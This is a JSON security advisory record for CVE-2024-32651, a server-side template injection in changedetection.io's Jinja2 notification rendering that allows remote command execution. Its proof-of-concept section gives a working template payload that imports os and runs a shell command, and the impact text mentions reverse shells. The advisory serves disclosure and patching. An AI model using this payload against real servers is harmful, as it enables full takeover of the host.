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4.8 KiB
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4.8 KiB
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{"schema_version":"1.9.2","id":"GHSA-4r7v-whpg-8rx3","published":"2024-10-15T18:05:15Z","modified":"2026-10-27T16:30:06.791869101Z","aliases":["CVE-2024-32651","PYSEC-2026-310"],"summary":"changedetection.io has a Server Side Template Injection using Jinja2 which allows Remote Command Execution","details":"### Summary\nA Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.\n\n### Details\n\nchangedetection.io version: 0.45.20\n```\ndocker images\nREPOSITORY TAG IMAGE ID CREATED SIZE\ndgtlmoon/changedetection.io latest 53529c2e69f1 44 hours ago 423MB\n```\n\nThe vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine.\n```python\nfrom jinja2 import Environment, BaseLoader\n...\n # Get the notification body from datastore\n jinja2_env = Environment(loader=BaseLoader)\n n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters)\n n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters)\n```\n\n\n### PoC\n1. Create/Edit a URL watch item\n2. Under *Notifications* tab insert this payload: \n```python\n{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\n```\n\n\n3. See Telegram (or other supported messaging app) notification\n\n\n\n\n### Impact\nIn the PoC I've used `id` as payload and Telegram to read the result. \nAttackers can run any system command without any restriction and they don't need to read the result in the notification app (e.g. they could use a reverse shell).\nThe impact is critical as the attacker can completely takeover the server host.\nThis can be reduced if changedetection access is protected by login page with a password, but this isn't required by the application (not by default and not enforced).\n\n### References\n- https://www.hacktivesecurity.com/blog/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io/\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n- https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/\n- https://docs.cobalt.io/bestpractices/prevent-ssti/\n\n### Credits\n\nEdoardo Ottavianelli","affected":[{"package":{"name":"changedetection-io","ecosystem":"PyPI","purl":"pkg:pypi/changedetection-io"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.45.21"}]}],"versions":["0.38.2","0.39","0.39.1","0.39.10","0.39.10.post1","0.39.10.post2","0.39.11","0.39.12","0.39.13","0.39.13.1","0.39.14","0.39.14.1","0.39.15","0.39.16","0.39.17","0.39.17.1","0.39.17.2","0.39.18","0.39.19","0.39.19.1","0.39.2","0.39.20","0.39.20.1","0.39.20.2","0.39.20.3","0.39.20.4","0.39.21","0.39.21.1","0.39.22","0.39.22.1","0.39.3","0.39.4","0.39.5","0.39.6","0.39.7","0.39.8","0.39.9","0.40.0","0.40.0.1","0.40.0.2","0.40.0.3","0.40.0.4","0.40.1.0","0.40.1.1","0.40.2","0.40.3","0.41","0.41.1","0.42","0.42.1","0.42.2","0.42.3","0.43.1","0.43.2","0.44","0.44.1","0.45","0.45.1","0.45.11","0.45.12","0.45.13","0.45.14","0.45.15","0.45.16","0.45.17","0.45.18","0.45.19","0.45.2","0.45.20","0.45.3","0.45.4","0.45.5","0.45.6","0.45.7","0.45.7.1","0.45.7.2","0.45.7.3","0.45.8","0.45.8.1","0.45.9"],"database_specific":{"last_known_affected_version_range":"<= 0.45.20","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-4r7v-whpg-8rx3/GHSA-4r7v-whpg-8rx3.json"}}],"references":[{"type":"WEB","url":"https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4r7v-whpg-8rx3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32651"},{"type":"WEB","url":"https://blog.hacktivesecurity.com/index.php/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io"},{"type":"PACKAGE","url":"https://github.com/dgtlmoon/changedetection.io"},{"type":"WEB","url":"https://github.com/dgtlmoon/changedetection.io/releases/tag/0.45.21"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/changedetection-io/PYSEC-2026-310.yaml"},{"type":"WEB","url":"https://pypi.org/project/changedetection-io"},{"type":"WEB","url":"https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2"}],"database_specific":{"cwe_ids":["CWE-1336"],"github_reviewed":true,"github_reviewed_at":"2024-10-15T18:05:15Z","nvd_published_at":"2024-04-26T00:15:08Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}]} |